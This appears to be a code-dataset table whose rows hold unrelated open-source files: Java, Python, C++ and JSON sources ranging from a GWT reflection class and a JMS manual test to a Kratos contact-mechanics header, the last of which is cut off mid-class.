max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
|---|---|---|
493 | package com.martinrgb.animer.core.math.converter;
public class OrigamiPOPConverter extends AnSpringConverter {
private boolean otherParaCalculation = false;
public OrigamiPOPConverter(double bounciness,double speed) {
super();
calculate(bounciness,speed,1,0);
}
public OrigamiPOPConverter(double bounciness,double speed,double mass,double velocity) {
super();
calculate(bounciness,speed,mass,velocity);
}
private void calculate(double b,double s,double m,double v){
mBounciness = b;
mSpeed = s;
mMass = m;
mVelocity = v;
mB = this.normalize(mBounciness / 1.7, 0, 20.0);
mB = this.projectNormal(mB, 0.0, 0.8);
mS = this.normalize(mSpeed / 1.7, 0, 20.0);
mBouncyTension = this.projectNormal(mS, 0.5, 200);
mBouncyFriction = this.quadraticOutInterpolation(mB, this.b3Nobounce(this.mBouncyTension), 0.01);
mTension = this.tensionConversion(mBouncyTension);
mFriction = this.frictionConversion(mBouncyFriction);
mStiffness = mTension;
mDamping = mFriction;
mDampingRatio = this.computeDampingRatio(mTension, mFriction,mMass);
if(otherParaCalculation){
mDuration = this.computeDuration(mTension, mFriction,mMass);
}
}
}
| 600 |
1,668 | default_app_config = 'ralph.dns.apps.DNS'
| 19 |
690 | <reponame>Mr00Anderson/artemis-odb
/*******************************************************************************
* Copyright 2011 See AUTHORS file.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package com.artemis.gwtref.client;
import java.lang.annotation.Annotation;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
/** Describes a type (equivalent to {@link Class}), providing methods to retrieve fields, constructors, methods and super
* interfaces of the type. Only types that are visible (public) can be described by this class.
* @author mzechner */
public class Type {
private static final Field[] EMPTY_FIELDS = new Field[0];
private static final Method[] EMPTY_METHODS = new Method[0];
private static final Constructor[] EMPTY_CONSTRUCTORS = new Constructor[0];
private static final Annotation[] EMPTY_ANNOTATIONS = new Annotation[0];
String name;
int id;
Class clazz;
Class superClass;
Set<Class> assignables = new HashSet<Class>();
boolean isAbstract;
boolean isInterface;
boolean isPrimitive;
boolean isEnum;
boolean isArray;
boolean isMemberClass;
boolean isStatic;
boolean isAnnotation;
Field[] fields = EMPTY_FIELDS;
Method[] methods = EMPTY_METHODS;
Constructor[] constructors = EMPTY_CONSTRUCTORS;
Annotation[] annotations = EMPTY_ANNOTATIONS;
Class componentType;
Object[] enumConstants;
/** @return a new instance of this type created via the default constructor which must be public. */
public Object newInstance () throws NoSuchMethodException {
return getConstructor().newInstance();
}
/** @return the fully qualified name of this type. */
public String getName () {
return name;
}
/** @return the {@link Class} of this type. */
public Class getClassOfType () {
return clazz;
}
/** @return the super class of this type or null */
public Type getSuperclass () {
try {
return superClass == null ? null : ReflectionCache.forName(superClass.getName());
} catch (ClassNotFoundException e) {
return null;
}
}
/** @param otherType the other type
* @return whether this type is assignable to the other type. */
public boolean isAssignableFrom (Type otherType) {
return otherType.assignables.contains(getClassOfType());
}
/** @param name the name of the field
* @return the public field of this type or one of its super interfaces with the given name or null. See
* {@link Class#getField(String)}. */
public Field getField (String name) {
Type t = this;
while (t != null) {
Field[] declFields = t.getDeclaredFields();
if (declFields != null) {
for (Field f : declFields) {
if (f.isPublic && f.name.equals(name)) return f;
}
}
t = t.getSuperclass();
}
return null;
}
/** @return an array containing all the public fields of this class and its super classes. See {@link Class#getFields()}. */
public Field[] getFields () {
ArrayList<Field> allFields = new ArrayList<Field>();
Type t = this;
while (t != null) {
Field[] declFields = t.getDeclaredFields();
if (declFields != null) {
for (Field f : declFields) {
if (f.isPublic) allFields.add(f);
}
}
t = t.getSuperclass();
}
return allFields.toArray(new Field[allFields.size()]);
}
/** @return an array containing all the fields of this class, including private and protected fields. See
* {@link Class#getDeclaredFields()}. */
public Field[] getDeclaredFields () {
return fields;
}
/** @param name the name of the method
* @param parameterTypes the types of the parameters of the method
* @return the public method that matches the name and parameter types of this type or one of its super interfaces.
* @throws NoSuchMethodException */
public Method getMethod (String name, Class... parameterTypes) throws NoSuchMethodException {
Type t = this;
while (t != null) {
Method[] declMethods = t.getDeclaredMethods();
if (declMethods != null) {
for (Method m : declMethods) {
if (m.isPublic() && m.match(name, parameterTypes)) return m;
}
}
t = t.getSuperclass();
}
throw new NoSuchMethodException();
}
/** s * @return an array containing all public methods of this class and its super classes. See {@link Class#getMethods()}. */
public Method[] getMethods () {
ArrayList<Method> allMethods = new ArrayList<Method>();
Type t = this;
while (t != null) {
Method[] declMethods = t.getDeclaredMethods();
if (declMethods != null) {
for (Method m : declMethods) {
if (m.isPublic()) allMethods.add(m);
}
}
t = t.getSuperclass();
}
return allMethods.toArray(new Method[allMethods.size()]);
}
/** @return an array containing all methods of this class, including abstract, private and protected methods. See
* {@link Class#getDeclaredMethods()}. */
public Method[] getDeclaredMethods () {
return methods;
}
public Constructor[] getConstructors () {
return constructors;
}
public Constructor getDeclaredConstructor (Class... parameterTypes) throws NoSuchMethodException {
return getConstructor(parameterTypes);
}
public Constructor getConstructor (Class... parameterTypes) throws NoSuchMethodException {
if (constructors != null) {
for (Constructor c : constructors) {
if (c.isPublic() && c.match(parameterTypes)) return c;
}
}
throw new NoSuchMethodException();
}
public boolean isAbstract () {
return isAbstract;
}
public boolean isInterface () {
return isInterface;
}
public boolean isPrimitive () {
return isPrimitive;
}
public boolean isEnum () {
return isEnum;
}
public boolean isArray () {
return isArray;
}
public boolean isMemberClass () {
return isMemberClass;
}
public boolean isStatic () {
return isStatic;
}
public boolean isAnnotation() {
return isAnnotation;
}
/** @return the class of the components if this is an array type or null. */
public Class getComponentType () {
return componentType;
}
/** @param obj an array object of this type.
* @return the length of the given array object. */
public int getArrayLength (Object obj) {
return ReflectionCache.instance.getArrayLength(this, obj);
}
/** @param obj an array object of this type.
* @param i the index of the element to retrieve.
* @return the element at position i in the array. */
public Object getArrayElement (Object obj, int i) {
return ReflectionCache.instance.getArrayElement(this, obj, i);
}
/** Sets the element i in the array object to value.
* @param obj an array object of this type.
* @param i the index of the element to set.
* @param value the element value. */
public void setArrayElement (Object obj, int i, Object value) {
ReflectionCache.instance.setArrayElement(this, obj, i, value);
}
/** @return the enumeration constants if this type is an enumeration or null. */
public Object[] getEnumConstants () {
return enumConstants;
}
@Override
public String toString () {
return "Type [name=" + name + ",\n clazz=" + clazz + ",\n superClass=" + superClass + ",\n assignables=" + assignables
+ ",\n isAbstract=" + isAbstract + ",\n isInterface=" + isInterface + ",\n isPrimitive=" + isPrimitive + ",\n isEnum="
+ isEnum + ",\n isArray=" + isArray + ",\n isMemberClass=" + isMemberClass + ",\n isStatic=" + isStatic
+ ",\n isAnnotation=" + isAnnotation + ",\n fields=" + Arrays.toString(fields) + ",\n methods="
+ Arrays.toString(methods) + ",\n constructors=" + Arrays.toString(constructors) + ",\n annotations="
+ Arrays.toString(annotations) + ",\n componentType=" + componentType + ",\n enumConstants="
+ Arrays.toString(enumConstants) + "]";
}
public Annotation[] getDeclaredAnnotations() {
return annotations;
}
}
| 2,626 |
12,077 | <filename>faker/providers/automotive/sv_SE/__init__.py<gh_stars>1000+
from .. import Provider as AutomotiveProvider
class Provider(AutomotiveProvider):
"""Implement automotive provider for ``sv_SE`` locale.
Sources:
- https://en.wikipedia.org/wiki/Vehicle_registration_plates_of_Sweden
- https://www.transportstyrelsen.se/en/road/Vehicles/license-plates/
"""
license_formats = (
# Classic format
'??? ###',
# New format
'??? ##?',
)
| 193 |
1,279 | <reponame>hawflau/serverless-application-model
[
{ "LogicalResourceId":"ActiveTracingFunction", "ResourceType":"AWS::Lambda::Function"},
{ "LogicalResourceId":"ActiveTracingFunctionRole", "ResourceType":"AWS::IAM::Role"},
{ "LogicalResourceId":"PassThroughTracingFunction", "ResourceType":"AWS::Lambda::Function"},
{ "LogicalResourceId":"PassThroughTracingFunctionRole", "ResourceType":"AWS::IAM::Role" }
] | 130 |
13,648 | # Test that calling clazz.__call__() with up to at least 3 arguments
# doesn't require heap allocation.
import micropython
class Foo0:
def __call__(self):
print("__call__")
class Foo1:
def __call__(self, a):
print("__call__", a)
class Foo2:
def __call__(self, a, b):
print("__call__", a, b)
class Foo3:
def __call__(self, a, b, c):
print("__call__", a, b, c)
f0 = Foo0()
f1 = Foo1()
f2 = Foo2()
f3 = Foo3()
micropython.heap_lock()
f0()
f1(1)
f2(1, 2)
f3(1, 2, 3)
micropython.heap_unlock()
| 259 |
778 | <gh_stars>100-1000
// KRATOS ______ __ __ _____ __ __ __
// / ____/___ ____ / /_____ ______/ /_/ ___// /________ _______/ /___ ___________ _/ /
// / / / __ \/ __ \/ __/ __ `/ ___/ __/\__ \/ __/ ___/ / / / ___/ __/ / / / ___/ __ `/ /
// / /___/ /_/ / / / / /_/ /_/ / /__/ /_ ___/ / /_/ / / /_/ / /__/ /_/ /_/ / / / /_/ / /
// \____/\____/_/ /_/\__/\__,_/\___/\__//____/\__/_/ \__,_/\___/\__/\__,_/_/ \__,_/_/ MECHANICS
//
// License: BSD License
// license: ContactStructuralMechanicsApplication/license.txt
//
// Main authors: <NAME>
//
#if !defined(KRATOS_NORMAL_GAP_PROCESS_H_INCLUDED )
#define KRATOS_NORMAL_GAP_PROCESS_H_INCLUDED
// System includes
// External includes
// Project includes
#include "processes/process.h"
#include "includes/model_part.h"
#include "processes/simple_mortar_mapper_process.h"
namespace Kratos
{
///@name Kratos Globals
///@{
///@}
///@name Type Definitions
///@{
///@}
///@name Enum's
///@{
///@}
///@name Functions
///@{
///@}
///@name Kratos Classes
///@{
/**
* @class NormalGapProcess
* @ingroup ContactStructuralMechanicsApplication
* @brief This process computes the normal gap
* @author <NAME>
* @tparam TDim The dimension of work
* @tparam TNumNodes The number of nodes of the slave
* @tparam TNumNodesMaster The number of nodes of the master
*/
template<SizeType TDim, SizeType TNumNodes, SizeType TNumNodesMaster = TNumNodes>
class KRATOS_API(CONTACT_STRUCTURAL_MECHANICS_APPLICATION) NormalGapProcess
: public Process
{
public:
///@name Type Definitions
///@{
/// The type of mapper considered
typedef SimpleMortarMapperProcess<TDim, TNumNodes, Variable<array_1d<double, 3>>, TNumNodesMaster> MapperType;
/// General type definitions
typedef ModelPart::NodesContainerType NodesArrayType;
/// The definition of zero tolerance
static constexpr double ZeroTolerance = std::numeric_limits<double>::epsilon();
/// Pointer definition of NormalGapProcess
KRATOS_CLASS_POINTER_DEFINITION( NormalGapProcess );
///@}
///@name Enum's
///@{
///@}
///@name Life Cycle
///@{
/**
* @brief The constructor of the normal gap process uses the following inputs:
* @param rMasterModelPart The master model part to be considered
* @param rSlaveModelPart The slave model part to be considered
*/
NormalGapProcess(
ModelPart& rMasterModelPart,
ModelPart& rSlaveModelPart,
const bool SearchOrientation = true
) : mrMasterModelPart(rMasterModelPart),
mrSlaveModelPart(rSlaveModelPart),
mSearchOrientation(SearchOrientation)
{
}
virtual ~NormalGapProcess()= default;;
///@}
///@name Operators
///@{
///@}
///@name Operations
///@{
void operator()()
{
Execute();
}
///@}
///@name Operations
///@{
/**
* @brief Execute method is used to execute the Process algorithms.
*/
void Execute() override;
///@}
///@name Access
///@{
///@}
///@name Inquiry
///@{
///@}
///@name Input and output
///@{
/************************************ GET INFO *************************************/
/***********************************************************************************/
std::string Info() const override
{
return "NormalGapProcess";
}
/************************************ PRINT INFO ***********************************/
/***********************************************************************************/
void PrintInfo(std::ostream& rOStream) const override
{
rOStream << Info();
}
///@}
///@name Friends
///@{
///@}
protected:
///@name Protected static Member Variables
///@{
///@}
///@name Protected member Variables
///@{
ModelPart& mrMasterModelPart; /// The master model part to be considered
ModelPart& mrSlaveModelPart; /// The slave model part to be considered
const bool mSearchOrientation; /// The orientation of the search (inverted or not)
///@}
///@name Protected Operators
///@{
///@}
///@name Protected Operations
///@{
/**
* @brief This method switchs the flag of an array of nodes
* @param rNodes The set of nodes where the flags are reset
*/
static inline void SwitchFlagNodes(NodesArrayType& rNodes)
{
#pragma omp parallel for
for(int i = 0; i < static_cast<int>(rNodes.size()); ++i) {
auto it_node = rNodes.begin() + i;
it_node->Flip(SLAVE);
it_node->Flip(MASTER);
}
}
/**
* @brief This method computes the normal gap
* @param rNodes The set of nodes where the gap is computed
*/
void ComputeNormalGap(NodesArrayType& rNodes);
///@}
///@name Protected Access
///@{
///@}
///@name Protected Inquiry
///@{
///@}
///@name Protected LifeCycle
///@{
///@}
private:
///@name Static Member Variables
///@{
///@}
///@name Member Variables
///@{
///@}
///@name Private Operators
///@{
///@}
///@name Private Operations
///@{
///@}
///@name Private Access
///@{
///@}
///@name Private Inquiry
///@{
///@}
///@name Un accessible methods
///@{
///@}
}; // Class NormalGapProcess
///@}
///@name Type Definitions
///@{
///@}
///@name Input and output
///@{
/****************************** INPUT STREAM FUNCTION ******************************/
/***********************************************************************************/
template<SizeType TDim, SizeType TNumNodes, SizeType TNumNodesMaster>
inline std::istream& operator >> (std::istream& rIStream,
NormalGapProcess<TDim, TNumNodes, TNumNodesMaster>& rThis);
/***************************** OUTPUT STREAM FUNCTION ******************************/
/***********************************************************************************/
template<SizeType TDim, SizeType TNumNodes, SizeType TNumNodesMaster>
inline std::ostream& operator << (std::ostream& rOStream,
const NormalGapProcess<TDim, TNumNodes, TNumNodesMaster>& rThis)
{
return rOStream;
}
///@}
} // namespace Kratos.
#endif // KRATOS_NORMAL_GAP_PROCESS_H_INCLUDED defined
| 2,578 |
3,212 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.jms.processors;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQMessage;
import org.apache.nifi.logging.ComponentLog;
import org.junit.Ignore;
import org.junit.Test;
import org.springframework.jms.connection.CachingConnectionFactory;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.jms.core.MessageCreator;
import javax.jms.BytesMessage;
import javax.jms.ConnectionFactory;
import javax.jms.MapMessage;
import javax.jms.ObjectMessage;
import javax.jms.Session;
import javax.jms.StreamMessage;
import javax.jms.TextMessage;
import static org.mockito.Mockito.mock;
@Ignore("Used for manual testing.")
public class ConsumeJMSManualTest {
@Test
public void testTextMessage() throws Exception {
MessageCreator messageCreator = session -> {
TextMessage message = session.createTextMessage("textMessageContent");
return message;
};
send(messageCreator);
}
@Test
public void testBytesMessage() throws Exception {
MessageCreator messageCreator = session -> {
BytesMessage message = session.createBytesMessage();
message.writeBytes("bytesMessageContent".getBytes());
return message;
};
send(messageCreator);
}
@Test
public void testObjectMessage() throws Exception {
MessageCreator messageCreator = session -> {
ObjectMessage message = session.createObjectMessage();
message.setObject("stringAsObject");
return message;
};
send(messageCreator);
}
@Test
public void testStreamMessage() throws Exception {
MessageCreator messageCreator = session -> {
StreamMessage message = session.createStreamMessage();
message.writeBoolean(true);
message.writeByte(Integer.valueOf(1).byteValue());
message.writeBytes(new byte[] {2, 3, 4});
message.writeShort((short)32);
message.writeInt(64);
message.writeLong(128L);
message.writeFloat(1.25F);
message.writeDouble(100.867);
message.writeChar('c');
message.writeString("someString");
message.writeObject("stringAsObject");
return message;
};
send(messageCreator);
}
@Test
public void testMapMessage() throws Exception {
MessageCreator messageCreator = session -> {
MapMessage message = session.createMapMessage();
message.setBoolean("boolean", true);
message.setByte("byte", Integer.valueOf(1).byteValue());
message.setBytes("bytes", new byte[] {2, 3, 4});
message.setShort("short", (short)32);
message.setInt("int", 64);
message.setLong("long", 128L);
message.setFloat("float", 1.25F);
message.setDouble("double", 100.867);
message.setChar("char", 'c');
message.setString("string", "someString");
message.setObject("object", "stringAsObject");
return message;
};
send(messageCreator);
}
@Test
public void testUnsupportedMessage() throws Exception {
MessageCreator messageCreator = session -> new ActiveMQMessage();
send(messageCreator);
}
private void send(MessageCreator messageCreator) throws Exception {
final String destinationName = "TEST";
ConnectionFactory activeMqConnectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
final ConnectionFactory connectionFactory = new CachingConnectionFactory(activeMqConnectionFactory);
JmsTemplate jmsTemplate = new JmsTemplate(connectionFactory);
jmsTemplate.setPubSubDomain(false);
jmsTemplate.setSessionAcknowledgeMode(Session.CLIENT_ACKNOWLEDGE);
jmsTemplate.setReceiveTimeout(10L);
try {
JMSPublisher sender = new JMSPublisher((CachingConnectionFactory) jmsTemplate.getConnectionFactory(), jmsTemplate, mock(ComponentLog.class));
sender.jmsTemplate.send(destinationName, messageCreator);
} finally {
((CachingConnectionFactory) jmsTemplate.getConnectionFactory()).destroy();
}
}
}
| 1,894 |
344 | <filename>indoor/data.py
import numpy as np
import os,time
import threading
import util
import scipy.misc
# load data
def load(opt,test=False):
path = "dataset/{0}".format("test" if test else "train")
D = {
"disocclude": np.load("{0}/disocclude.npy".format(path)),
"removed": np.load("{0}/removed.npy".format(path)),
"perturb": np.load("{0}/perturb.npy".format(path)),
"indiv_mask": np.load("{0}/indiv_mask.npy".format(path)),
"perturb_mask": np.load("{0}/perturb_mask.npy".format(path)),
"idx_corresp": np.load("{0}/idx_corresp.npy".format(path)),
}
return D
# load data
def load_homo(opt,test=False):
path = "dataset/{0}".format("test" if test else "train")
D = {
"disocclude": np.load("{0}/disocclude.npy".format(path)),
"removed": np.load("{0}/removed.npy".format(path)),
"indiv_mask": np.load("{0}/indiv_mask.npy".format(path)),
}
return D
# make training batch
def makeBatch(opt,data,PH):
# assuming paired
N = len(data["perturb"])
randIdx = np.random.randint(N,size=[opt.batchSize])
randIdxGT = data["idx_corresp"][randIdx]
imageBG = data["removed"][randIdxGT]
imageOrig = data["disocclude"][randIdxGT]
maskOrig = data["indiv_mask"][randIdxGT]
imagePert = data["perturb"][randIdx]
maskPert = data["perturb_mask"][randIdx]
# original foreground
if opt.unpaired:
randIdxUnp = np.random.randint(N,size=[opt.batchSize])
randIdxUnpGT = data["idx_corresp"][randIdxUnp]
imageBG2 = data["removed"][randIdxUnpGT]
imageOrig2 = data["disocclude"][randIdxUnpGT]
maskOrig2 = data["indiv_mask"][randIdxUnpGT]
imageFGorig = np.zeros([opt.batchSize,opt.H,opt.W,4])
imageFGorig[:,:,:,3] = maskOrig2
imageFGorig[:,:,:,:3][maskOrig2!=0] = imageOrig2[maskOrig2!=0]
else:
imageFGorig = np.zeros([opt.batchSize,opt.H,opt.W,4])
imageFGorig[:,:,:,3] = maskOrig
imageFGorig[:,:,:,:3][maskOrig!=0] = imageOrig[maskOrig!=0]
imageBG2 = imageBG
# perturbed foreground
imageFGpert = np.zeros([opt.batchSize,opt.H,opt.W,4])
imageFGpert[:,:,:,3] = maskPert
imageFGpert[:,:,:,:3][maskPert!=0] = imagePert[maskPert!=0]
# compute translation between mask centers
Yorig,Xorig,Horig,Worig = maskBoundingBox(opt,maskOrig)
Ypert,Xpert,Hpert,Wpert = maskBoundingBox(opt,maskPert)
imageFGpertRescale,YpertNew,XpertNew = rescalePerturbed(opt,imageFGpert,Ypert,Xpert,Hpert,Wpert,Horig,Worig)
Ytrans,Xtrans = (YpertNew-Yorig)/opt.H*2,(XpertNew-Xorig)/opt.W*2
p = np.zeros([opt.batchSize,8])
p[:,0],p[:,4] = Xtrans,Ytrans
# put data in placeholders
[imageBGreal,imageBGfake,imageFGreal,imageFGfake,pInit] = PH
batch = {
imageBGreal: imageBG2/255.0,
imageFGreal: imageFGorig/255.0,
imageBGfake: imageBG/255.0,
imageFGfake: imageFGpertRescale/255.0,
pInit: p,
}
return batch
# make training batch
def makeBatch_homo(opt,data,PH):
# assuming paired
Ngt = len(data["removed"])
randIdx = np.random.randint(Ngt,size=[opt.batchSize])
imageBG = data["removed"][randIdx]
imageOrig = data["disocclude"][randIdx]
maskOrig = data["indiv_mask"][randIdx]
# original foreground
imageFGorig = np.zeros([opt.batchSize,opt.H,opt.W,4])
imageFGorig[:,:,:,3] = maskOrig
imageFGorig[:,:,:,:3][maskOrig!=0] = imageOrig[maskOrig!=0]
# put data in placeholders
[imageBGreal,imageFGreal] = PH
batch = {
imageBGreal: imageBG/255.0,
imageFGreal: imageFGorig/255.0,
}
return batch
# make training batch
def makeBatchEval(opt,data,i,PH):
idx = np.array([i])
imageBG = data["removed"][idx]
imageOrig = data["disocclude"][idx]
maskOrig = data["indiv_mask"][idx]
imagePert = data["perturb"][idx]
maskPert = data["perturb_mask"][idx]
# original foreground
imageFGorig = np.zeros([opt.batchSize,opt.H,opt.W,4])
imageFGorig[:,:,:,3] = maskOrig
imageFGorig[:,:,:,:3][maskOrig!=0] = imageOrig[maskOrig!=0]
# perturbed foreground
imageFGpert = np.zeros([opt.batchSize,opt.H,opt.W,4])
imageFGpert[:,:,:,3] = maskPert
imageFGpert[:,:,:,:3][maskPert!=0] = imagePert[maskPert!=0]
p = np.zeros([opt.batchSize,8])
# compute translation between mask centers
Yorig,Xorig,Horig,Worig = maskBoundingBox(opt,maskOrig)
Ypert,Xpert,Hpert,Wpert = maskBoundingBox(opt,maskPert)
imageFGpertRescale,YpertNew,XpertNew = rescalePerturbed(opt,imageFGpert,Ypert,Xpert,Hpert,Wpert,Horig,Worig,randScale=False)
Ytrans,Xtrans = (YpertNew-Yorig)/opt.H*2,(XpertNew-Xorig)/opt.W*2
p[:,0],p[:,4] = Xtrans,Ytrans
# put data in placeholders
[imageBGfake,imageFGfake,pInit] = PH
batch = {
imageBGfake: imageBG/255.0,
imageFGfake: imageFGpertRescale/255.0,
pInit: p,
}
return batch
# find bounding box of mask image
def maskBoundingBox(opt,mask):
Ymin = np.argmax(np.any(mask,axis=2),axis=1)
Xmin = np.argmax(np.any(mask,axis=1),axis=1)
Ymax = opt.H-np.argmax(np.any(mask,axis=2)[:,::-1],axis=1)+1
Xmax = opt.W-np.argmax(np.any(mask,axis=1)[:,::-1],axis=1)+1
Ycenter = (Ymin+Ymax).astype(float)/2
Xcenter = (Xmin+Xmax).astype(float)/2
return Ycenter,Xcenter,Ymax-Ymin,Xmax-Xmin
# rescale object to same scale as ground truth
def rescalePerturbed(opt,imageFGpert,Ypert,Xpert,Hpert,Wpert,Horig,Worig,randScale=True):
imageFGpertRescale = np.zeros_like(imageFGpert)
YpertNew,XpertNew = np.zeros_like(Ypert),np.zeros_like(Xpert)
Ymin,Ymax = np.floor(Ypert-Hpert/2).astype(int).clip(0,None),np.ceil(Ypert+Hpert/2).astype(int).clip(None,opt.H)
Xmin,Xmax = np.floor(Xpert-Wpert/2).astype(int).clip(0,None),np.ceil(Xpert+Wpert/2).astype(int).clip(None,opt.W)
scale = np.ones_like(Horig,dtype=float)
if randScale:
scale = np.sqrt((Horig*Worig).astype(float)/(Hpert*Wpert).astype(float))
scale *= np.random.rand(opt.batchSize)*0.2+0.9
scale /= np.maximum(1,np.maximum(Hpert*scale/opt.H,Wpert*scale/opt.W))
for i in range(opt.batchSize):
imageFGpertCrop = imageFGpert[i][Ymin[i]:Ymax[i],Xmin[i]:Xmax[i]]
imageFGpertCropRescale = scipy.misc.imresize(imageFGpertCrop,scale[i])
Hnew,Wnew = imageFGpertCropRescale.shape[:2]
imageFGpertRescale[i][:Hnew,:Wnew] = imageFGpertCropRescale
YpertNew[i],XpertNew[i] = float(Hnew)/2,float(Wnew)/2
return imageFGpertRescale,YpertNew,XpertNew
| 2,655 |
1,248 | <gh_stars>1000+
# -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2016-10-18 16:54
from __future__ import unicode_literals
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('pretixbase', '0040_u2fdevice'),
]
operations = [
migrations.AlterField(
model_name='cachedticket',
name='cachedfile',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='pretixbase.CachedFile'),
),
]
| 249 |
5,169 | <filename>Specs/ZHSDKlib/1.0.0/ZHSDKlib.podspec.json
{
"name": "ZHSDKlib",
"version": "1.0.0",
"summary": "zhanghong Ad SDK.",
"description": "\"/Users/gaoshilei/Desktop/ZHSDKlib /Users/gaoshilei/Desktop/ZHSDKlib /Users/gaoshilei/Desktop/ZHSDKlib /Users/gaoshilei/Desktop/ZHSDKlib /Users/gaoshilei/Desktop/ZHSDKlib /Users/gaoshilei/Desktop/ZHSDKlib \"",
"homepage": "https://github.com/Stonelei1226/ZHSDKlib.git",
"license": "MIT",
"authors": {
"gaoshilei": "<EMAIL>"
},
"source": {
"git": "https://github.com/Stonelei1226/ZHSDKlib.git",
"tag": "1.0.0"
},
"platforms": {
"ios": "7.0"
},
"requires_arc": true,
"source_files": [
"ZHSDKlib/*",
"ZHSDKlib/libZHSDKlib.a"
],
"resource_bundles": {
"ZHSDKlib": [
"Pod/Assets/*.png"
]
},
"public_header_files": "ZHSDKlib/*.h",
"frameworks": [
"AdSupport",
"SystemConfiguration"
],
"libraries": "sqlite3"
}
| 437 |
454 | <gh_stars>100-1000
/*
* zsummerX License
* -----------
*
* zsummerX is licensed under the terms of the MIT license reproduced below.
* This means that zsummerX is free software and can be used for both academic
* and commercial purposes at absolutely no cost.
*
*
* ===============================================================================
*
* Copyright (C) 2010-2015 YaweiZhang <<EMAIL>>.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* ===============================================================================
*
* (end of COPYRIGHT)
*/
#ifndef ZSUMMER_TCP_SESSION_H_
#define ZSUMMER_TCP_SESSION_H_
#include "config.h"
#include <rc4/rc4_encryption.h>
namespace zsummer
{
namespace network
{
class TcpSession : public std::enable_shared_from_this<TcpSession>
{
public:
TcpSession();
~TcpSession();
inline SessionOptions & getOptions(){ return _options; }
void connect();
void reconnect();
bool attatch(const TcpSocketPtr &sockptr, AccepterID aID, SessionID sID);
void send(const char *buf, unsigned int len);
void close();
private:
bool doRecv();
unsigned int onRecv(zsummer::network::NetErrorCode ec, int received);
void onSend(zsummer::network::NetErrorCode ec, int sent);
void onConnected(zsummer::network::NetErrorCode ec);
void onPulse();
public:
inline void setEventLoop(EventLoopPtr el){ _eventLoop = el; }
inline SessionID getAcceptID(){ return _acceptID; }
inline SessionID getSessionID(){ return _sessionID; }
inline void setSessionID(SessionID sID){ _sessionID = sID; }
inline bool isInvalidSession(){ return !_sockptr; }
inline const std::string & getRemoteIP(){ return _remoteIP; }
inline void setRemoteIP(const std::string &remoteIP){ _remoteIP = remoteIP; }
inline unsigned short getRemotePort(){ return _remotePort; }
inline void setRemotePort(unsigned short remotePort){ _remotePort = remotePort; }
inline std::size_t getSendQueSize(){ return _sendque.size(); }
inline zsummer::network::NetErrorCode getLastError(){ return _lastRecvError; }
inline const TupleParam& getUserParam(size_t index) { return peekTupleParamImpl(index); }
inline void setUserParam(size_t index, const TupleParam &tp) { autoTupleParamImpl(index) = tp; }
inline bool isUserParamInited(size_t index) { return std::get<TupleParamInited>(peekTupleParamImpl(index)); }
inline double getUserParamNumber(size_t index) { return std::get<TupleParamNumber>(peekTupleParamImpl(index)); }
inline void setUserParamNumber(size_t index, double f) { std::get<TupleParamNumber>(autoTupleParamImpl(index)) = f; }
inline unsigned long long getUserParamInteger(size_t index) { return std::get<TupleParamInteger>(peekTupleParamImpl(index)); }
inline void setUserParamInteger(size_t index, unsigned long long ull) { std::get<TupleParamInteger>(autoTupleParamImpl(index)) = ull; }
inline const std::string & getUserParamString(size_t index) { return std::get<TupleParamString>(peekTupleParamImpl(index)); }
inline void setUserParamString(size_t index, const std::string & str) { std::get<TupleParamString>(autoTupleParamImpl(index)) = str; }
private:
SessionOptions _options;
EventLoopPtr _eventLoop;
TcpSocketPtr _sockptr;
std::string _remoteIP;
unsigned short _remotePort = 0;
int _status = 0; //0 uninit, 1 connecting, 2 session established, 3 died
//
SessionID _sessionID = InvalidSessionID;
AccepterID _acceptID = InvalidAccepterID;
zsummer::network::TimerID _pulseTimerID = zsummer::network::InvalidTimerID;
//!
SessionBlock* _recving = nullptr;
SessionBlock* _sending = nullptr;
unsigned int _sendingLen = 0;
//! send data queue
std::deque<SessionBlock *> _sendque;
unsigned long long _reconnects = 0;
//! rc encrypt
RC4Encryption _rc4StateRead;
RC4Encryption _rc4StateWrite;
//!
bool _bFirstRecvData = true;
//!last recv error code
